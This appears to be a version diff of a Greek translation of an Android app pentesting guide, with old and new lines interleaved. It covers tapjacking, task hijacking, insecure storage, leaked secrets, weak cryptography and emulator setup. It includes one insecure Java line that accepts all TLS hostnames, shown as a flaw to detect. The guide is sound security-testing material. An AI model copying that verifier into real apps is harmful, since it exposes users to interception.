- **Content Providers and FileProviders**: Εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η διαμόρφωση των FileProviders πρέπει επίσης να ελεγχθεί προσεκτικά.
|
||||||
- **Broadcast Receivers and URL Schemes**: Αυτά τα components θα μπορούσαν να αξιοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στον τρόπο που διαχειρίζονται τα URL schemes για πιθανές εισόδους ευπαθειών.
|
- **Broadcast Receivers and URL Schemes**: Αυτά τα components θα μπορούσαν να αξιοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς τα URL schemes διαχειρίζονται καθώς μπορεί να έχουν input vulnerabilities.
|
||||||
- **SDK Versions**: Τα attributes `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` δείχνουν τις υποστηριζόμενες εκδόσεις Android, υπογραμμίζοντας τη σημασία του να μην υποστηρίζονται παλιές, ευάλωτες εκδόσεις Android για λόγους ασφάλειας.
|
- **SDK Versions**: Τα attributes `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία να μην υποστηρίζονται παρωχημένες, ευάλωτες εκδόσεις Android για λόγους ασφάλειας.
|
||||||
|
|
||||||
Από το αρχείο **strings.xml**, μπορούν να ανακαλυφθούν ευαίσθητες πληροφορίες όπως API keys, custom schemas, και άλλες σημειώσεις developers, επισημαίνοντας την ανάγκη για προσεκτική ανασκόπηση αυτών των resources.
|
Από το αρχείο **strings.xml** μπορούν να εντοπιστούν ευαίσθητες πληροφορίες όπως API keys, custom schemas και άλλες σημειώσεις των developers, υπογραμμίζοντας την ανάγκη προσεκτικής αναθεώρησης αυτών των resources.
|
||||||
|
|
||||||
### Tapjacking
|
### Tapjacking
|
||||||
|
|
||||||
**Tapjacking** είναι μια επίθεση όπου μια **malicious** **application** ξεκινάει και **τοποθετείται πάνω από την εφαρμογή-θύμα**. Μόλις καλύψει οπτικά την εφαρμογή-θύμα, το UI της σχεδιάζεται με τρόπο που να εξαπατά τον χρήστη να αλληλεπιδράσει με αυτό, ενώ ταυτόχρονα περνά την αλληλεπίδραση στην εφαρμογή-θύμα.\
|
**Tapjacking** είναι μια επίθεση όπου μια κακόβουλη εφαρμογή εκκινείται και τοποθετείται πάνω από μια εφαρμογή-θύμα. Μόλις καλύψει ορατά την εφαρμογή-θύμα, η διεπαφή χρήστη της σχεδιάζεται έτσι ώστε να παραπλανά τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ παράλληλα προωθεί την αλληλεπίδραση στην εφαρμογή-θύμα.\
|
||||||
Στην πράξη, είναι **σαν να τυφλώνεται ο χρήστης από το να ξέρει ότι πραγματοποιεί ενέργειες στην εφαρμογή-θύμα**.
|
Στην ουσία, τυφλώνει τον χρήστη ώστε να μην γνωρίζει ότι πραγματικά εκτελεί ενέργειες στην εφαρμογή-θύμα.
|
||||||
|
|
||||||
Find more information in:
|
Βρείτε περισσότερες πληροφορίες στο:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -104,80 +104,80 @@ tapjacking.md
|
|||||||
|
|
||||||
### Task Hijacking
|
### Task Hijacking
|
||||||
|
|
||||||
Μια **activity** με το **`launchMode`** ορισμένο σε **`singleTask` χωρίς κανένα `taskAffinity`** ορισμένο είναι ευάλωτη σε Task Hijacking. Αυτό σημαίνει ότι μια **application** μπορεί να εγκατασταθεί και αν ξεκινήσει πριν από την πραγματική εφαρμογή θα μπορούσε **να υπεξαιρέσει το task της πραγματικής εφαρμογής** (ώστε ο χρήστης να αλληλεπιδρά με την **malicious application νομίζοντας ότι χρησιμοποιεί την πραγματική**).
|
Μια **activity** με το **`launchMode`** ορισμένο σε **`singleTask` χωρίς να έχει οριστεί `taskAffinity`** είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια εφαρμογή μπορεί να εγκατασταθεί και αν εκκινηθεί πριν από την πραγματική εφαρμογή να **καταλάβει το task της πραγματικής εφαρμογής** (ώστε ο χρήστης να αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
|
||||||
|
|
||||||
More info in:
|
Περισσότερες πληροφορίες στο:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
android-task-hijacking.md
|
android-task-hijacking.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Αποθήκευση δεδομένων με ανασφαλή τρόπο
|
### Μη ασφαλής αποθήκευση δεδομένων
|
||||||
|
|
||||||
**Internal Storage**
|
**Internal Storage**
|
||||||
|
|
||||||
Στο Android, αρχεία **αποθηκευμένα** στο **internal** storage είναι **σχεδιασμένα** να είναι **προσβάσιμα αποκλειστικά από την εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφάλειας εφαρμόζεται από το Android OS και είναι γενικά επαρκές για τις ανάγκες ασφάλειας των περισσότερων εφαρμογών. Ωστόσο, οι developers κάποιες φορές χρησιμοποιούν modes όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** στα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Αυτά τα modes **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς malicious ones.
|
Στο Android, αρχεία που **αποθηκεύονται** στην **internal** storage έχουν σχεδιαστεί ώστε να είναι προσβάσιμα αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφάλειας επιβάλλεται από το Android operating system και είναι γενικά επαρκές για τις ανάγκες ασφάλειας των περισσοτέρων εφαρμογών. Ωστόσο, οι developers μερικές φορές χρησιμοποιούν modes όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** την κοινή χρήση αρχείων μεταξύ διαφορετικών εφαρμογών. Αυτά τα modes, όμως, **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
|
||||||
|
|
||||||
1. **Static Analysis:**
|
1. **Static Analysis:**
|
||||||
- **Ensure** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` εξετάζεται **προσεκτικά**. Αυτά τα modes **μπορούν να εκθέσουν** αρχεία σε **μη προοριζόμενη ή μη εξουσιοδοτημένη πρόσβαση**.
|
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` εξετάζεται **προσεκτικά**. Αυτά τα modes **μπορούν ενδεχομένως να εκθέσουν** αρχεία σε **μη επιθυμητή ή μη εξουσιοδοτημένη πρόσβαση**.
|
||||||
2. **Dynamic Analysis:**
|
2. **Dynamic Analysis:**
|
||||||
- **Verify** τα **permissions** που ορίζονται στα αρχεία που δημιουργεί η εφαρμογή. Ειδικότερα, **ελέγξτε** αν κάποιο αρχείο έχει οριστεί να είναι readable ή writable worldwide. Αυτό μπορεί να αποτελέσει σημαντικό ρίσκο ασφάλειας, καθώς θα επέτρεπε σε **οποιαδήποτε εφαρμογή** εγκατεστημένη στη συσκευή, ανεξαρτήτως προέλευσης ή πρόθεσης, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
|
- **Επαληθεύστε** τα **permissions** που έχουν οριστεί στα αρχεία που δημιουργεί η εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν κάποια αρχεία είναι **ρυθμισμένα ώστε να είναι readable ή writable worldwide**. Αυτό μπορεί να αποτελεί σημαντικό κίνδυνο ασφαλείας, καθώς θα επέτρεπε σε **οποιαδήποτε εφαρμογή** εγκατεστημένη στη συσκευή, ανεξαρτήτως προέλευσης ή σκοπού, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
|
||||||
|
|
||||||
**External Storage**
|
**External Storage**
|
||||||
|
|
||||||
Όταν χειρίζεστε αρχεία σε **external storage**, όπως SD Cards, πρέπει να ληφθούν υπόψη τα εξής:
|
Όταν χειρίζεστε αρχεία σε **external storage**, όπως SD Cards, πρέπει να ληφθούν υπόψη ορισμένες προφυλάξεις:
|
||||||
|
|
||||||
1. **Accessibility**:
|
1. **Accessibility**:
|
||||||
- Τα αρχεία στο external storage είναι **παγκοσμίως readable και writable**. Αυτό σημαίνει ότι οποιαδήποτε εφαρμογή ή χρήστης μπορεί να έχει πρόσβαση σε αυτά.
|
- Τα αρχεία στο external storage είναι **globally readable and writable**. Αυτό σημαίνει ότι οποιαδήποτε εφαρμογή ή χρήστης μπορεί να έχει πρόσβαση σε αυτά τα αρχεία.
|
||||||
2. **Security Concerns**:
|
2. **Security Concerns**:
|
||||||
- Δεδομένης της ευκολίας πρόσβασης, συνιστάται **να μην αποθηκεύετε ευαίσθητες πληροφορίες** στο external storage.
|
- Δε συνιστάται να αποθηκεύετε ευαίσθητες πληροφορίες στο external storage λόγω της εύκολης πρόσβασης.
|
||||||
- Το external storage μπορεί να αφαιρεθεί ή να προσπελαστεί από οποιαδήποτε εφαρμογή, καθιστώντας το λιγότερο ασφαλές.
|
- Το external storage μπορεί να αφαιρεθεί ή να προσπελαστεί από οποιαδήποτε εφαρμογή, καθιστώντας το λιγότερο ασφαλές.
|
||||||
3. **Handling Data from External Storage**:
|
3. **Handling Data from External Storage**:
|
||||||
- Πάντα **εκτελείτε input validation** στα δεδομένα που ανακτάτε από το external storage. Αυτό είναι κρίσιμο επειδή τα δεδομένα προέρχονται από μη αξιόπιστη πηγή.
|
- Πάντα **εκτελέστε input validation** στα δεδομένα που ανακτώνται από το external storage. Αυτό είναι κρίσιμο επειδή τα δεδομένα προέρχονται από μια μη αξιόπιστη πηγή.
|
||||||
- Αποφύγετε να αποθηκεύετε executables ή class files στο external storage για dynamic loading.
|
- Η αποθήκευση εκτελέσιμων ή class files στο external storage για dynamic loading αποθαρρύνεται έντονα.
|
||||||
- Αν η εφαρμογή σας πρέπει να ανακτήσει executable αρχεία από external storage, βεβαιωθείτε ότι αυτά τα αρχεία είναι **signed και cryptographically verified** πριν γίνει dynamic loading. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ακεραιότητας ασφάλειας της εφαρμογής.
|
- Αν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από το external storage, βεβαιωθείτε ότι αυτά τα αρχεία είναι **signed και cryptographically verified** πριν γίνουν dynamic loaded. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ακεραιότητας ασφάλειας της εφαρμογής σας.
|
||||||
|
|
||||||
Το external storage μπορεί να προσπελαστεί στα /storage/emulated/0 , /sdcard , /mnt/sdcard
|
External storage μπορεί να **προσπελαστεί** στα `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
|
> Από το Android 4.4 (**API 17**) και μετά, η SD card έχει μια δομή directories που **περιορίζει την πρόσβαση μιας εφαρμογής στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει κακόβουλες εφαρμογές από το να αποκτήσουν read ή write πρόσβαση στα αρχεία άλλης εφαρμογής.
|
||||||
|
|
||||||
**Sensitive data stored in clear-text**
|
**Ευαίσθητα δεδομένα αποθηκευμένα σε απλό κείμενο**
|
||||||
|
|
||||||
- **Shared preferences**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στη διαδρομή `/data/data/<packagename>/shared_prefs/` και κάποιες φορές είναι πιθανό να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν το φάκελο.
|
- **Shared preferences**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα αρχεία xml στη διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι δυνατόν να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν τον φάκελο.
|
||||||
- **Databases**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα sqlite databases στη διαδρομή `/data/data/<packagename>/databases/` και κάποιες φορές είναι πιθανό να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν το φάκελο.
|
- **Databases**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα sqlite databases στη διαδρομή `/data/data/<packagename>/databases/` και μερικές φορές είναι δυνατόν να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν τον φάκελο.
|
||||||
|
|
||||||
### Broken TLS
|
### Σπασμένο TLS
|
||||||
|
|
||||||
**Accept All Certificates**
|
**Accept All Certificates**
|
||||||
|
|
||||||
Για κάποιο λόγο, μερικές φορές οι developers αποδέχονται όλα τα certificates ακόμα κι αν, για παράδειγμα, το hostname δεν ταιριάζει, με γραμμές κώδικα όπως η παρακάτω:
|
Για κάποιο λόγο, μερικές φορές οι developers αποδέχονται όλα τα πιστοποιητικά ακόμα και αν, για παράδειγμα, το hostname δεν ταιριάζει, με γραμμές κώδικα όπως η ακόλουθη:
|
||||||
```java
|
```java
|
||||||
SSLSocketFactory sf = new cc(trustStore);
|
SSLSocketFactory sf = new cc(trustStore);
|
||||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||||
```
|
```
|
||||||
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
|
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a πιστοποιητικό for a different hostname and use it.
|
||||||
|
|
||||||
### Broken Cryptography
|
### Ελαττωματική Κρυπτογραφία
|
||||||
|
|
||||||
**Poor Key Management Processes**
|
**Κακές διαδικασίες διαχείρισης κλειδιών**
|
||||||
|
|
||||||
Κάποιοι developers αποθηκεύουν sensitive data στο local storage και την κρυπτογραφούν με ένα key hardcoded/predictable μέσα στον κώδικα. Αυτό δεν πρέπει να γίνεται, καθώς κάποιο reversing μπορεί να επιτρέψει σε attackers να εξάγουν τις εμπιστευτικές πληροφορίες.
|
Κάποιοι developers αποθηκεύουν ευαίσθητα δεδομένα στο local storage και τα κρυπτογραφούν με ένα key hardcoded/predictable στον κώδικα. Αυτό δεν πρέπει να γίνεται καθώς κάποιο reversing θα μπορούσε να επιτρέψει σε attackers να εξάγουν τις εμπιστευτικές πληροφορίες.
|
||||||
|
|
||||||
**Use of Insecure and/or Deprecated Algorithms**
|
**Use of Insecure and/or Deprecated Algorithms**
|
||||||
|
|
||||||
Οι developers δεν θα πρέπει να χρησιμοποιούν **deprecated algorithms** για να κάνουν authorisation **checks**, να **store** ή να **send** δεδομένα. Μερικοί από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά στο brute-force μαζί με salt.
|
Οι developers δεν πρέπει να χρησιμοποιούν **deprecated algorithms** για να πραγματοποιούν authorisation **checks**, **store** ή **send** δεδομένα. Μερικοί από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για να αποθηκεύσουν passwords για παράδειγμα, πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
|
||||||
|
|
||||||
### Other checks
|
### Άλλοι έλεγχοι
|
||||||
|
|
||||||
- Συνιστάται να **obfuscate the APK** για να δυσκολέψετε το reverse engineer labour των attackers.
|
- Συνιστάται να **obfuscate the APK** για να δυσκολέψετε το έργο του reverse engineer στους attackers.
|
||||||
- Αν η app είναι ευαίσθητη (π.χ. bank apps), θα πρέπει να κάνει τα δικά της **checks to see if the mobile is rooted** και να δράσει αναλόγως.
|
- Αν η app είναι ευαίσθητη (όπως bank apps), θα πρέπει να πραγματοποιεί δικούς της ελέγχους για να δει αν το mobile είναι **rooted** και να ενεργεί ανάλογα.
|
||||||
- Αν η app είναι ευαίσθητη (π.χ. bank apps), θα πρέπει να ελέγξει αν χρησιμοποιείται **emulator**.
|
- Αν η app είναι ευαίσθητη (όπως bank apps), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
|
||||||
- Αν η app είναι ευαίσθητη (π.χ. bank apps), θα πρέπει να **check it's own integrity before executing** για να διαπιστώσει αν έχει τροποποιηθεί.
|
- Αν η app είναι ευαίσθητη (όπως bank apps), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να διαπιστώσει αν έχει τροποποιηθεί.
|
||||||
- Χρησιμοποιήστε [**APKiD**](https://github.com/rednaga/APKiD) για να δείτε ποιος compiler/packer/obfuscator χρησιμοποιήθηκε για να γίνει build το APK
|
- Χρησιμοποιήστε [**APKiD**](https://github.com/rednaga/APKiD) για να δείτε ποιος compiler/packer/obfuscator χρησιμοποιήθηκε για να χτιστεί το APK
|
||||||
|
|
||||||
### React Native Application
|
### Εφαρμογή React Native
|
||||||
|
|
||||||
Read the following page to learn how to easily access javascript code of React applications:
|
Read the following page to learn how to easily access javascript code of React applications:
|
||||||
|
|
||||||
@ -186,7 +186,7 @@ Read the following page to learn how to easily access javascript code of React a
|
|||||||
react-native-application.md
|
react-native-application.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Xamarin Applications
|
### Εφαρμογές Xamarin
|
||||||
|
|
||||||
Read the following page to learn how to easily access C# code of a xamarin applications:
|
Read the following page to learn how to easily access C# code of a xamarin applications:
|
||||||
|
|
||||||
@ -201,13 +201,13 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa
|
|||||||
|
|
||||||
### Automated Static Code Analysis
|
### Automated Static Code Analysis
|
||||||
|
|
||||||
Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να βρει **vulnerabilities** σαρώνοντας τον **code** της εφαρμογής. Το εργαλείο περιέχει μια σειρά από **known sources** (που υποδεικνύουν στο εργαλείο τα **places** όπου το **input** είναι **controlled by the user**), **sinks** (που υποδεικνύουν τα **dangerous** **places** όπου κακόβουλο user input θα μπορούσε να προκαλέσει ζημιά) και **rules**. Αυτοί οι κανόνες υποδεικνύουν τον **συνδυασμό** **sources-sinks** που δηλώνει μια ευπάθεια.
|
Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να εντοπίζει **vulnerabilities** σαρώνοντας τον **code** της εφαρμογής. Αυτό το εργαλείο περιέχει μια σειρά από **known sources** (που δείχνουν στο εργαλείο τα **σημεία** όπου το **input** ελέγχεται από τον χρήστη), **sinks** (που δείχνουν στο εργαλείο **επικίνδυνα** **σημεία** όπου κακόβουλο input χρήστη μπορεί να προκαλέσει ζημιά) και **rules**. Αυτοί οι κανόνες υποδεικνύουν τον **συνδυασμό** **sources-sinks** που υποδηλώνει μια vulnerability.
|
||||||
|
|
||||||
Με αυτή τη γνώση, το **mariana-trench θα ανασκοπήσει τον κώδικα και θα βρει πιθανές vulnerabilities σε αυτόν**.
|
Με αυτή τη γνώση, **mariana-trench will review the code and find possible vulnerabilities on it**.
|
||||||
|
|
||||||
### Secrets leaked
|
### Secrets leaked
|
||||||
|
|
||||||
Μια εφαρμογή μπορεί να περιέχει secrets (API keys, passwords, hidden urls, subdomains...) μέσα της που μπορεί να καταφέρετε να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||||
|
|
||||||
### Bypass Biometric Authentication
|
### Bypass Biometric Authentication
|
||||||
|
|
||||||
@ -240,19 +240,19 @@ content-protocol.md
|
|||||||
|
|
||||||
### Online Dynamic analysis
|
### Online Dynamic analysis
|
||||||
|
|
||||||
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
|
Μπορείτε να δημιουργήσετε έναν **free account** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα επιτρέπει να **upload** και να **execute** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
|
||||||
|
|
||||||
You can even **see the logs of your application** in the web and connect through **adb**.
|
Μπορείτε ακόμα να **δειτε τα logs της εφαρμογής** στο web και να συνδεθείτε μέσω **adb**.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
|
Χάρη στη σύνδεση ADB μπορείτε να χρησιμοποιήσετε **Drozer** και **Frida** μέσα στους emulators.
|
||||||
|
|
||||||
### Local Dynamic Analysis
|
### Local Dynamic Analysis
|
||||||
|
|
||||||
#### Using an emulator
|
#### Using an emulator
|
||||||
|
|
||||||
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
|
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
|
||||||
- Learn to set it up in this page:
|
- Learn to set it up in this page:
|
||||||
|
|
||||||
|
|
||||||
@ -260,21 +260,21 @@ Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emu
|
|||||||
avd-android-virtual-device.md
|
avd-android-virtual-device.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, χρειάζεται να δημιουργήσετε account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||||
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
- [**Nox**](https://es.bignox.com) (Free, αλλά δεν υποστηρίζει Frida ή Drozer).
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Όταν δημιουργείτε νέο emulator σε οποιαδήποτε πλατφόρμα, θυμηθείτε ότι όσο μεγαλύτερη είναι η οθόνη τόσο πιο αργά θα τρέχει ο emulator. Επιλέξτε όσο γίνεται μικρότερες οθόνες.
|
> Όταν δημιουργείτε ένα νέο emulator σε οποιαδήποτε πλατφόρμα θυμηθείτε ότι όσο μεγαλύτερη είναι η οθόνη τόσο πιο αργά θα τρέχει ο emulator. Οπότε επιλέξτε μικρές οθόνες αν είναι δυνατό.
|
||||||
|
|
||||||
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
|
Για να **install google services** (όπως AppStore) στο Genymotion πρέπει να κάνετε κλικ στο κόκκινο κουμπί όπως στην εικόνα:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
|
Επίσης, παρατηρήστε ότι στην **διαμόρφωση του Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν σκοπεύετε να συνδεθείτε στο Android VM από ένα διαφορετικό VM με τα εργαλεία).
|
||||||
|
|
||||||
#### Use a physical device
|
#### Use a physical device
|
||||||
|
|
||||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
Πρέπει να ενεργοποιήσετε τις **debugging** επιλογές και θα είναι καλό αν μπορέσετε να το **root**:
|
||||||
|
|
||||||
1. **Settings**.
|
1. **Settings**.
|
||||||
2. (FromAndroid 8.0) Select **System**.
|
2. (FromAndroid 8.0) Select **System**.
|
||||||
@ -282,41 +282,41 @@ You need to activate the **debugging** options and it will be cool if you can **
|
|||||||
4. Press **Build number** 7 times.
|
4. Press **Build number** 7 times.
|
||||||
5. Go back and you will find the **Developer options**.
|
5. Go back and you will find the **Developer options**.
|
||||||
|
|
||||||
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να τη δοκιμάσετε, να διερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτή.\
|
||||||
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
> Προτείνω να **εκτελέσετε αυτή την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF dynamic analysis + pidcat**, έτσι ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **captures** πολλά **interesting** **data** που μπορείτε να εξετάσετε αργότερα.
|
||||||
|
|
||||||
### Unintended Data Leakage
|
### Unintended Data Leakage
|
||||||
|
|
||||||
**Logging**
|
**Logging**
|
||||||
|
|
||||||
Οι developers πρέπει να είναι προσεκτικοί στο να μην εκθέτουν **debugging information** δημόσια, καθώς αυτό μπορεί να οδηγήσει σε sensitive data leaks. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συστήνονται για την παρακολούθηση των application logs ώστε να εντοπιστούν και να προστατευτούν ευαίσθητες πληροφορίες. Το **Pidcat** προτιμάται για την ευκολία χρήσης και την αναγνωσιμότητα.
|
Οι developers πρέπει να είναι προσεκτικοί με την έκθεση **debugging information** δημόσια, καθώς μπορεί να οδηγήσει σε ευαίσθητα data leaks. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των application logs ώστε να εντοπιστούν και να προστατευθούν ευαίσθητες πληροφορίες. Το **Pidcat** προτιμάται για την ευκολία χρήσης και την αναγνωσιμότητα.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Σημειώστε ότι από **later newer than Android 4.0**, **applications are only able to access their own logs**. Έτσι οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων apps.\
|
> Σημειώστε ότι από **εκδόσεις μεταγενέστερες του Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να προσεγγίσουν logs άλλων apps.\
|
||||||
> Παρ' όλα αυτά, εξακολουθεί να συνιστάται να **μην καταγράφονται sensitive information**.
|
> Παρ' όλα αυτά, εξακολουθεί να συνιστάται να **μην καταγράφετε ευαίσθητες πληροφορίες**.
|
||||||
|
|
||||||
**Copy/Paste Buffer Caching**
|
**Copy/Paste Buffer Caching**
|
||||||
|
|
||||||
Το **clipboard-based** framework του Android επιτρέπει λειτουργία copy-paste στις εφαρμογές, αλλά ενέχει ρίσκο καθώς **other applications** μπορούν να **access** το clipboard και να εκθέσουν sensitive data. Είναι κρίσιμο να **disable copy/paste** για ευαίσθητες περιοχές της εφαρμογής, όπως λεπτομέρειες πιστωτικής κάρτας, για να αποφευχθούν data leaks.
|
Το Android **clipboard-based** framework επιτρέπει λειτουργίες copy-paste στις εφαρμογές, αλλά αποτελεί ρίσκο καθώς **άλλες εφαρμογές** μπορούν να έχουν **access** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιούνται οι copy/paste** λειτουργίες για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποφευχθούν data leaks.
|
||||||
|
|
||||||
**Crash Logs**
|
**Crash Logs**
|
||||||
|
|
||||||
Αν μια εφαρμογή **crashes** και **saves logs**, αυτά τα logs μπορούν να βοηθήσουν attackers, ειδικά όταν η εφαρμογή δεν μπορεί να γίνει reverse-engineered. Για να μειωθεί ο κίνδυνος, αποφύγετε το logging σε crashes, και αν πρέπει να αποστέλλονται logs μέσω δικτύου, βεβαιωθείτε ότι στέλνονται μέσω SSL.
|
Αν μια εφαρμογή **crashes** και **αποθηκεύει logs**, αυτά τα logs μπορούν να βοηθήσουν attackers, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να γίνει reverse-engineered. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε το logging σε crashes, και αν πρέπει να μεταδοθούν logs μέσω δικτύου βεβαιωθείτε ότι αποστέλλονται μέσω SSL καναλιού για ασφάλεια.
|
||||||
|
|
||||||
Ως pentester, **try to take a look to these logs**.
|
Ως pentester, **try to take a look to these logs**.
|
||||||
|
|
||||||
**Analytics Data Sent To 3rd Parties**
|
**Analytics Data Sent To 3rd Parties**
|
||||||
|
|
||||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως Google Adsense, που μπορούν άθελά τους να cause sensitive data leaks λόγω λανθασμένης υλοποίησης από τους developers. Για να εντοπίσετε πιθανά data leaks, είναι καλό να **intercept the application's traffic** και να ελέγξετε αν αποστέλλονται ευαίσθητες πληροφορίες σε third-party services.
|
